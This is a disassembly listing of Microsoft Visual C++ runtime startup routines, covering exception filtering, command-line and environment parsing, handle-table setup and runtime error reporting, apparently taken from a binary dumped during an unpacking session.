mov ebp, esp
push ebx
push dword ptr [ebp+8]
call sub_422D37
test eax, eax
pop ecx
jz loc_422D2B
mov ebx, [eax+8]
test ebx, ebx
jz loc_422D2B
cmp ebx, 5
jnz short loc_422C27
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_422D34
; ---------------------------------------------------------------------------
loc_422C27: ; CODE XREF: ___:00422C19j
cmp ebx, 1
jz loc_422D26
mov ecx, dword_4D97EC
mov [ebp+8], ecx
mov ecx, [ebp+0Ch]
mov dword_4D97EC, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_422D16
mov ecx, dword_43ACD0
mov edx, dword_43ACD4
add edx, ecx
push esi
cmp ecx, edx
jge short loc_422C76
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:43AC60h[esi*4]
loc_422C6D: ; CODE XREF: ___:00422C74j
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_422C6D
loc_422C76: ; CODE XREF: ___:00422C5Fj
mov eax, [eax]
mov esi, dword_43ACDC
cmp eax, 0C000008Eh
jnz short loc_422C91
mov dword_43ACDC, 83h
jmp short loc_422D01
; ---------------------------------------------------------------------------
loc_422C91: ; CODE XREF: ___:00422C83j
cmp eax, 0C0000090h
jnz short loc_422CA4
mov dword_43ACDC, 81h
jmp short loc_422D01
; ---------------------------------------------------------------------------
loc_422CA4: ; CODE XREF: ___:00422C96j
cmp eax, 0C0000091h
jnz short loc_422CB7
mov dword_43ACDC, 84h
jmp short loc_422D01
; ---------------------------------------------------------------------------
loc_422CB7: ; CODE XREF: ___:00422CA9j
cmp eax, 0C0000093h
jnz short loc_422CCA
mov dword_43ACDC, 85h
jmp short loc_422D01
; ---------------------------------------------------------------------------
loc_422CCA: ; CODE XREF: ___:00422CBCj
cmp eax, 0C000008Dh
jnz short loc_422CDD
mov dword_43ACDC, 82h
jmp short loc_422D01
; ---------------------------------------------------------------------------
loc_422CDD: ; CODE XREF: ___:00422CCFj
cmp eax, 0C000008Fh
jnz short loc_422CF0
mov dword_43ACDC, 86h
jmp short loc_422D01
; ---------------------------------------------------------------------------
loc_422CF0: ; CODE XREF: ___:00422CE2j
cmp eax, 0C0000092h
jnz short loc_422D01
mov dword_43ACDC, 8Ah
loc_422D01: ; CODE XREF: ___:00422C8Fj
; ___:00422CA2j ...
push dword_43ACDC
push 8
call ebx
pop ecx
mov dword_43ACDC, esi
pop ecx
pop esi
jmp short loc_422D1E
; ---------------------------------------------------------------------------
loc_422D16: ; CODE XREF: ___:00422C48j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_422D1E: ; CODE XREF: ___:00422D14j
mov eax, [ebp+8]
mov dword_4D97EC, eax
loc_422D26: ; CODE XREF: ___:00422C2Aj
or eax, 0FFFFFFFFh
jmp short loc_422D34
; ---------------------------------------------------------------------------
loc_422D2B: ; CODE XREF: ___:00422C05j
; ___:00422C10j
push dword ptr [ebp+0Ch]
nop
call near ptr 2620D63h
loc_422D34: ; CODE XREF: ___:00422C22j
; ___:00422D29j
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_422D37 proc near ; CODE XREF: ___:00422BFDp
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43ACD8
cmp dword_43AC58, edx
push esi
mov eax, offset dword_43AC58
jz short loc_422D64
lea esi, [ecx+ecx*2]
lea esi, ds:43AC58h[esi*4]
loc_422D59: ; CODE XREF: sub_422D37+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_422D64
cmp [eax], edx
jnz short loc_422D59
loc_422D64: ; CODE XREF: sub_422D37+16j
; sub_422D37+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43AC58h[ecx*4]
cmp eax, ecx
jnb short loc_422D77
cmp [eax], edx
jz short locret_422D79
loc_422D77: ; CODE XREF: sub_422D37+3Aj
xor eax, eax
locret_422D79: ; CODE XREF: sub_422D37+3Ej
retn
sub_422D37 endp
; ---------------------------------------------------------------------------
cmp dword_4DADAC, 0
jnz short loc_422D88
call sub_4201A2
loc_422D88: ; CODE XREF: ___:00422D81j
push esi
mov esi, dword_4DADA4
mov al, [esi]
cmp al, 22h
jnz short loc_422DBA
loc_422D95: ; CODE XREF: ___:00422DADj
; ___:00422DB0j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_422DB2
test al, al
jz short loc_422DB2
movzx eax, al
push eax
call sub_424C46
test eax, eax
pop ecx
jz short loc_422D95
inc esi
jmp short loc_422D95
; ---------------------------------------------------------------------------
loc_422DB2: ; CODE XREF: ___:00422D9Bj
; ___:00422D9Fj
cmp byte ptr [esi], 22h
jnz short loc_422DC4
loc_422DB7: ; CODE XREF: ___:00422DCCj
inc esi
jmp short loc_422DC4
; ---------------------------------------------------------------------------
loc_422DBA: ; CODE XREF: ___:00422D93j
cmp al, 20h
jbe short loc_422DC4
loc_422DBE: ; CODE XREF: ___:00422DC2j
inc esi
cmp byte ptr [esi], 20h
ja short loc_422DBE
loc_422DC4: ; CODE XREF: ___:00422DB5j
; ___:00422DB8j ...
mov al, [esi]
test al, al
jz short loc_422DCE
cmp al, 20h
jbe short loc_422DB7
loc_422DCE: ; CODE XREF: ___:00422DC8j
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
push ebx
xor ebx, ebx
cmp dword_4DADAC, ebx
push esi
push edi
jnz short loc_422DE4
call sub_4201A2
loc_422DE4: ; CODE XREF: ___:00422DDDj
mov esi, dword_4D9788
xor edi, edi
loc_422DEC: ; CODE XREF: ___:00422E02j
mov al, [esi]
cmp al, bl
jz short loc_422E04
cmp al, 3Dh
jz short loc_422DF7
inc edi
loc_422DF7: ; CODE XREF: ___:00422DF4j
push esi
call sub_41B960
pop ecx
lea esi, [esi+eax+1]
jmp short loc_422DEC
; ---------------------------------------------------------------------------
loc_422E04: ; CODE XREF: ___:00422DF0j
lea eax, ds:4[edi*4]
push eax
call sub_41BC9B
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_4D973C, esi
jnz short loc_422E26
push 9
call sub_41E1C9
pop ecx
loc_422E26: ; CODE XREF: ___:00422E1Cj
mov edi, dword_4D9788
cmp [edi], bl
jz short loc_422E69
push ebp
loc_422E31: ; CODE XREF: ___:00422E66j
push edi
call sub_41B960
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_422E62
push ebp
call sub_41BC9B
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_422E55
push 9
call sub_41E1C9
pop ecx
loc_422E55: ; CODE XREF: ___:00422E4Bj
push edi
push dword ptr [esi]
call sub_41C620
pop ecx
add esi, 4
pop ecx
loc_422E62: ; CODE XREF: ___:00422E3Ej
add edi, ebp
cmp [edi], bl
jnz short loc_422E31
pop ebp
loc_422E69: ; CODE XREF: ___:00422E2Ej
push dword_4D9788
call sub_41BA31
pop ecx
mov dword_4D9788, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_4DADA8, 1
pop ebx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_4DADAC, ebx
push esi
push edi
jnz short loc_422EA2
call sub_4201A2
loc_422EA2: ; CODE XREF: ___:00422E9Bj
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
nop
call near ptr 2670000h
mov eax, dword_4DADA4
mov off_4D974C, esi
mov edi, esi
cmp [eax], bl
jz short loc_422EC7
mov edi, eax
loc_422EC7: ; CODE XREF: ___:00422EC3j
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push ebx
push ebx
push edi
call sub_422F24
mov eax, [ebp-8]
mov ecx, [ebp-4]
lea eax, [eax+ecx*4]
push eax
call sub_41BC9B
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_422EF7
push 8
call sub_41E1C9
pop ecx
loc_422EF7: ; CODE XREF: ___:00422EEDj
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
mov eax, [ebp-4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_422F24
mov eax, [ebp-4]
add esp, 14h
dec eax
mov dword_4D9734, esi
pop edi
pop esi
mov dword_4D9730, eax
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422F24 proc near ; CODE XREF: ___:00422ED2p
; ___:00422F08p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_422F4E
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_422F4E: ; CODE XREF: sub_422F24+20j
cmp byte ptr [eax], 22h
jnz short loc_422F97
loc_422F53: ; CODE XREF: sub_422F24+58j
; sub_422F24+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_422F85
test dl, dl
jz short loc_422F85
movzx edx, dl
test byte_4DAC81[edx], 4
jz short loc_422F78
inc dword ptr [ecx]
test esi, esi
jz short loc_422F78
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_422F78: ; CODE XREF: sub_422F24+46j
; sub_422F24+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_422F53
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_422F53
; ---------------------------------------------------------------------------
loc_422F85: ; CODE XREF: sub_422F24+36j
; sub_422F24+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_422F8F
and byte ptr [esi], 0
inc esi
loc_422F8F: ; CODE XREF: sub_422F24+65j
cmp byte ptr [eax], 22h
jnz short loc_422FDA
inc eax
jmp short loc_422FDA
; ---------------------------------------------------------------------------
loc_422F97: ; CODE XREF: sub_422F24+2Dj
; sub_422F24+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_422FA2
mov dl, [eax]
mov [esi], dl
inc esi
loc_422FA2: ; CODE XREF: sub_422F24+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_4DAC81[ebx], 4
jz short loc_422FBD
inc dword ptr [ecx]
test esi, esi
jz short loc_422FBC
mov bl, [eax]
mov [esi], bl
inc esi
loc_422FBC: ; CODE XREF: sub_422F24+91j
inc eax
loc_422FBD: ; CODE XREF: sub_422F24+8Bj
cmp dl, 20h
jz short loc_422FCB
test dl, dl
jz short loc_422FCF
cmp dl, 9
jnz short loc_422F97
loc_422FCB: ; CODE XREF: sub_422F24+9Cj
test dl, dl
jnz short loc_422FD2
loc_422FCF: ; CODE XREF: sub_422F24+A0j
dec eax
jmp short loc_422FDA
; ---------------------------------------------------------------------------
loc_422FD2: ; CODE XREF: sub_422F24+A9j
test esi, esi
jz short loc_422FDA
and byte ptr [esi-1], 0
loc_422FDA: ; CODE XREF: sub_422F24+6Ej
; sub_422F24+71j ...
and [ebp+arg_10], 0
loc_422FDE: ; CODE XREF: sub_422F24+19Ej
cmp byte ptr [eax], 0
jz loc_4230C7
loc_422FE7: ; CODE XREF: sub_422F24+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_422FF3
cmp dl, 9
jnz short loc_422FF6
loc_422FF3: ; CODE XREF: sub_422F24+C8j
inc eax
jmp short loc_422FE7
; ---------------------------------------------------------------------------
loc_422FF6: ; CODE XREF: sub_422F24+CDj
cmp byte ptr [eax], 0
jz loc_4230C7
test edi, edi
jz short loc_42300B
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_42300B: ; CODE XREF: sub_422F24+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_423010: ; CODE XREF: sub_422F24+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_423019: ; CODE XREF: sub_422F24+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_423022
inc eax
inc ebx
jmp short loc_423019
; ---------------------------------------------------------------------------
loc_423022: ; CODE XREF: sub_422F24+F8j
cmp byte ptr [eax], 22h
jnz short loc_423053
test bl, 1
jnz short loc_423051
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_423040
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_423040
mov eax, edx
jmp short loc_423043
; ---------------------------------------------------------------------------
loc_423040: ; CODE XREF: sub_422F24+10Dj
; sub_422F24+116j
mov [ebp+arg_0], edi
loc_423043: ; CODE XREF: sub_422F24+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_423051: ; CODE XREF: sub_422F24+106j
shr ebx, 1
loc_423053: ; CODE XREF: sub_422F24+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_423068
inc ebx
loc_42305B: ; CODE XREF: sub_422F24+142j
test esi, esi
jz short loc_423063
mov byte ptr [esi], 5Ch
inc esi
loc_423063: ; CODE XREF: sub_422F24+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_42305B
loc_423068: ; CODE XREF: sub_422F24+134j
mov dl, [eax]
test dl, dl
jz short loc_4230B8
cmp [ebp+arg_10], 0
jnz short loc_42307E
cmp dl, 20h
jz short loc_4230B8
cmp dl, 9
jz short loc_4230B8
loc_42307E: ; CODE XREF: sub_422F24+14Ej
cmp [ebp+arg_0], 0
jz short loc_4230B2
test esi, esi
jz short loc_4230A1
movzx ebx, dl
test byte_4DAC81[ebx], 4
jz short loc_42309A
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_42309A: ; CODE XREF: sub_422F24+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_4230B0
; ---------------------------------------------------------------------------
loc_4230A1: ; CODE XREF: sub_422F24+162j
movzx edx, dl
test byte_4DAC81[edx], 4
jz short loc_4230B0
inc eax
inc dword ptr [ecx]
loc_4230B0: ; CODE XREF: sub_422F24+17Bj
; sub_422F24+187j
inc dword ptr [ecx]
loc_4230B2: ; CODE XREF: sub_422F24+15Ej
inc eax
jmp loc_423010
; ---------------------------------------------------------------------------
loc_4230B8: ; CODE XREF: sub_422F24+148j
; sub_422F24+153j ...
test esi, esi
jz short loc_4230C0
and byte ptr [esi], 0
inc esi
loc_4230C0: ; CODE XREF: sub_422F24+196j
inc dword ptr [ecx]
jmp loc_422FDE
; ---------------------------------------------------------------------------
loc_4230C7: ; CODE XREF: sub_422F24+BDj
; sub_422F24+D5j
test edi, edi
jz short loc_4230CE
and dword ptr [edi], 0
loc_4230CE: ; CODE XREF: sub_422F24+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_422F24 endp
; ---------------------------------------------------------------------------
push ecx
push ecx
mov eax, dword_4D98F4
push ebx
push ebp
mov ebp, dword_42703C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_423126
call ebp
mov esi, eax
cmp esi, ebx
jz short loc_423107
mov dword_4D98F4, 1
jmp short loc_42312F
; ---------------------------------------------------------------------------
loc_423107: ; CODE XREF: ___:004230F9j
nop
call near ptr 2620A7Eh
mov edi, eax
cmp edi, ebx
jz loc_423201
mov dword_4D98F4, 2
jmp loc_4231B5
; ---------------------------------------------------------------------------
loc_423126: ; CODE XREF: ___:004230F1j
cmp eax, 1
jnz loc_4231B0
loc_42312F: ; CODE XREF: ___:00423105j
cmp esi, ebx
jnz short loc_42313F
call ebp
mov esi, eax
cmp esi, ebx
jz loc_423201
loc_42313F: ; CODE XREF: ___:00423131j
cmp [esi], bx
mov eax, esi
jz short loc_423154
loc_423146: ; CODE XREF: ___:0042314Bj
; ___:00423152j
inc eax
inc eax
cmp [eax], bx
jnz short loc_423146
inc eax
inc eax
cmp [eax], bx
jnz short loc_423146
loc_423154: ; CODE XREF: ___:00423144j
sub eax, esi
mov edi, dword_427194
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+34h], eax
call edi
mov ebp, eax
cmp ebp, ebx
jz short loc_4231A5
push ebp
call sub_41BC9B
cmp eax, ebx
pop ecx
mov [esp+10h], eax
jz short loc_4231A5
push ebx
push ebx
push ebp
push eax
push dword ptr [esp+24h]
push esi
push ebx
push ebx
call edi
test eax, eax
jnz short loc_4231A1
push dword ptr [esp+10h]
call sub_41BA31
pop ecx
mov [esp+10h], ebx
loc_4231A1: ; CODE XREF: ___:00423191j
mov ebx, [esp+10h]
loc_4231A5: ; CODE XREF: ___:00423171j
; ___:00423180j
push esi
call near ptr 2620C55h
nop
mov eax, ebx
jmp short loc_423203
; ---------------------------------------------------------------------------
loc_4231B0: ; CODE XREF: ___:00423129j
cmp eax, 2
jnz short loc_423201
loc_4231B5: ; CODE XREF: ___:00423121j
cmp edi, ebx
jnz short loc_4231C5
call near ptr 2620A7Eh
nop
mov edi, eax
cmp edi, ebx
jz short loc_423201
loc_4231C5: ; CODE XREF: ___:004231B7j
cmp [edi], bl
mov eax, edi
jz short loc_4231D5
loc_4231CB: ; CODE XREF: ___:004231CEj
; ___:004231D3j
inc eax
cmp [eax], bl
jnz short loc_4231CB
inc eax
cmp [eax], bl
jnz short loc_4231CB
loc_4231D5: ; CODE XREF: ___:004231C9j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_41BC9B
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4231EB
xor esi, esi
jmp short loc_4231F6
; ---------------------------------------------------------------------------
loc_4231EB: ; CODE XREF: ___:004231E5j
push ebp
push edi
push esi
call sub_41CAB0
add esp, 0Ch
loc_4231F6: ; CODE XREF: ___:004231E9j
push edi
call near ptr 2620C88h
nop
mov eax, esi
jmp short loc_423203
; ---------------------------------------------------------------------------
loc_423201: ; CODE XREF: ___:00423111j
; ___:00423139j ...
xor eax, eax
loc_423203: ; CODE XREF: ___:004231AEj
; ___:004231FFj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_41BC9B
mov esi, eax
pop ecx
test esi, esi
jnz short loc_42322A
push 1Bh
call sub_41E1C9
pop ecx
loc_42322A: ; CODE XREF: ___:00423220j
mov dword_4DAA60, esi
mov dword_4DAB60, 20h
lea eax, [esi+100h]
loc_423240: ; CODE XREF: ___:0042325Cj
cmp esi, eax
jnb short loc_42325E
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_4DAA60
add esi, 8
add eax, 100h
jmp short loc_423240
; ---------------------------------------------------------------------------
loc_42325E: ; CODE XREF: ___:00423242j
lea eax, [esp+10h]
push eax
call near ptr 28A0000h
nop
cmp word ptr [esp+42h], 0
jz loc_42333A
mov eax, [esp+44h]
test eax, eax
jz loc_42333A
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_423294
mov esi, eax
loc_423294: ; CODE XREF: ___:00423290j
cmp dword_4DAB60, esi
jge short loc_4232EE
mov edi, offset dword_4DAA64
loc_4232A1: ; CODE XREF: ___:004232E4j
push 100h
call sub_41BC9B
test eax, eax
pop ecx
jz short loc_4232E8
add dword_4DAB60, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_4232BF: ; CODE XREF: ___:004232D9j
cmp eax, ecx
jnb short loc_4232DB
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_4232BF
; ---------------------------------------------------------------------------
loc_4232DB: ; CODE XREF: ___:004232C1j
add edi, 4
cmp dword_4DAB60, esi
jl short loc_4232A1
jmp short loc_4232EE
; ---------------------------------------------------------------------------
loc_4232E8: ; CODE XREF: ___:004232AEj
mov esi, dword_4DAB60
loc_4232EE: ; CODE XREF: ___:0042329Aj
; ___:004232E6j
xor edi, edi
test esi, esi
jle short loc_42333A
loc_4232F4: ; CODE XREF: ___:00423338j
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_423331
mov cl, [ebp+0]
test cl, 1
jz short loc_423331
test cl, 8
jnz short loc_423313
push eax
nop
call near ptr 2620000h
test eax, eax
jz short loc_423331
loc_423313: ; CODE XREF: ___:00423306j
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DAA60[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_423331: ; CODE XREF: ___:004232F9j
; ___:00423301j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_4232F4
loc_42333A: ; CODE XREF: ___:0042326Fj
; ___:0042327Bj ...
xor ebx, ebx
loc_42333C: ; CODE XREF: ___:0042339Fj
mov eax, dword_4DAA60
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_423397
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_423357
push 0FFFFFFF6h
pop eax
jmp short loc_423361
; ---------------------------------------------------------------------------
loc_423357: ; CODE XREF: ___:00423350j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_423361: ; CODE XREF: ___:00423355j
push eax
nop
call near ptr 26207DDh
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_423386
push edi
call near ptr 2620000h
nop
test eax, eax
jz short loc_423386
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_42338C
loc_423386: ; CODE XREF: ___:0042336Dj
; ___:00423378j
or byte ptr [esi+4], 40h
jmp short loc_42339B
; ---------------------------------------------------------------------------
loc_42338C: ; CODE XREF: ___:00423384j
cmp eax, 3
jnz short loc_42339B
or byte ptr [esi+4], 8
jmp short loc_42339B
; ---------------------------------------------------------------------------
loc_423397: ; CODE XREF: ___:00423348j
or byte ptr [esi+4], 80h
loc_42339B: ; CODE XREF: ___:0042338Aj
; ___:0042338Fj ...
inc ebx
cmp ebx, 3
jl short loc_42333C
push dword_4DAB60
nop
call near ptr 26209AEh
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
; ---------------------------------------------------------------------------
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4233C0 proc near ; DATA XREF: sub_421F92+Ao
; sub_4220C1+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_423460
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_4233F3: ; CODE XREF: sub_4233C0+90j
cmp esi, 0FFFFFFFFh
jz short loc_423459
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_423447
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_423447
js short loc_423452
mov edi, [ebx+8]
push ebx
call sub_41D2E0
; ---------------------------------------------------------------------------
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_41D322
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_41D3B6
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_423447: ; CODE XREF: sub_4233C0+40j
; sub_4233C0+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_4233F3
; ---------------------------------------------------------------------------
loc_423452: ; CODE XREF: sub_4233C0+54j
mov eax, 0
jmp short loc_423475
; ---------------------------------------------------------------------------
loc_423459: ; CODE XREF: sub_4233C0+36j
mov eax, 1
jmp short loc_423475
; ---------------------------------------------------------------------------
loc_423460: ; CODE XREF: sub_4233C0+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_41D322
add esp, 8
pop ebp
mov eax, 1
loc_423475: ; CODE XREF: sub_4233C0+97j
; sub_4233C0+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4233C0 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_41D322
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_423498 proc near ; CODE XREF: sub_41E1C9+9p
mov eax, dword_4D9790
cmp eax, 1
jz short loc_4234AF
test eax, eax
jnz short locret_4234D0
cmp dword_43A674, 1
jnz short locret_4234D0
loc_4234AF: ; CODE XREF: sub_423498+8j
push 0FCh
call sub_4234D1
mov eax, dword_4D98F8
pop ecx
test eax, eax
jz short loc_4234C5
call eax
loc_4234C5: ; CODE XREF: sub_423498+29j
push 0FFh
call sub_4234D1
pop ecx
locret_4234D0: ; CODE XREF: sub_423498+Cj
; sub_423498+15j
retn
sub_423498 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4234D1 proc near ; CODE XREF: sub_41E1C9+12p
; sub_423498+1Cp ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_43ACE8
loc_4234E4: ; CODE XREF: sub_4234D1+20j
cmp edx, [eax]
jz short loc_4234F3
add eax, 8
inc ecx
cmp eax, offset off_43AD78
jl short loc_4234E4
loc_4234F3: ; CODE XREF: sub_4234D1+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_43ACE8[esi]
jnz loc_423621
mov eax, dword_4D9790
cmp eax, 1
jz loc_4235FB
test eax, eax
jnz short loc_423524
cmp dword_43A674, 1
jz loc_4235FB
loc_423524: ; CODE XREF: sub_4234D1+44j
cmp edx, 0FCh
jz loc_423621
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
nop
call near ptr 2670000h
test eax, eax
jnz short loc_42355B
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_41C620
pop ecx
pop ecx
loc_42355B: ; CODE XREF: sub_4234D1+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_41B960
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_42359E
lea eax, [ebp+var_1A4]
push eax
call sub_41B960
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_41BD70
add esp, 10h
loc_42359E: ; CODE XREF: sub_4234D1+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_41C620
lea eax, [ebp+var_A0]
push edi
push eax
call sub_41C630
lea eax, [ebp+var_A0]
push offset asc_427BD8 ; "\n\n"
push eax
call sub_41C630
push off_43ACEC[esi]
lea eax, [ebp+var_A0]
push eax
call sub_41C630
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_424C88
add esp, 2Ch
pop edi
jmp short loc_423621
; ---------------------------------------------------------------------------
loc_4235FB: ; CODE XREF: sub_4234D1+3Cj
; sub_4234D1+4Dj
lea eax, [ebp+arg_0]
lea esi, off_43ACEC[esi]
push 0
push eax
push dword ptr [esi]
call sub_41B960
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call near ptr 26207DDh
nop
push eax
call near ptr 2720000h
nop
loc_423621: ; CODE XREF: sub_4234D1+2Ej
; sub_4234D1+59j ...
pop esi
leave
retn
sub_4234D1 endp
; =============== S U B R O U T I N E =======================================
sub_423624 proc near ; CODE XREF: sub_42393B:loc_423AB3p
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_4DAA60
loc_423633: ; CODE XREF: sub_423624+48j
mov eax, [ecx]
test eax, eax
jz short loc_423670
lea edx, [eax+100h]
loc_42363F: ; CODE XREF: sub_423624+28j
cmp eax, edx
jnb short loc_42365F
test byte ptr [eax+4], 1
jz short loc_42364E
add eax, 8
jmp short loc_42363F
; ---------------------------------------------------------------------------
loc_42364E: ; CODE XREF: sub_423624+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_4236B3
loc_42365F: ; CODE XREF: sub_423624+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_4DAB60
jl short loc_423633
jmp short loc_4236B3
; ---------------------------------------------------------------------------
loc_423670: ; CODE XREF: sub_423624+13j
mov esi, 100h
push esi
call sub_41BC9B
test eax, eax
pop ecx
jz short loc_4236B3
add dword_4DAB60, 20h
lea ecx, ds:4DAA60h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_423696: ; CODE XREF: sub_423624+88j
cmp eax, edx
jnb short loc_4236AE
and byte ptr [eax+4], 0
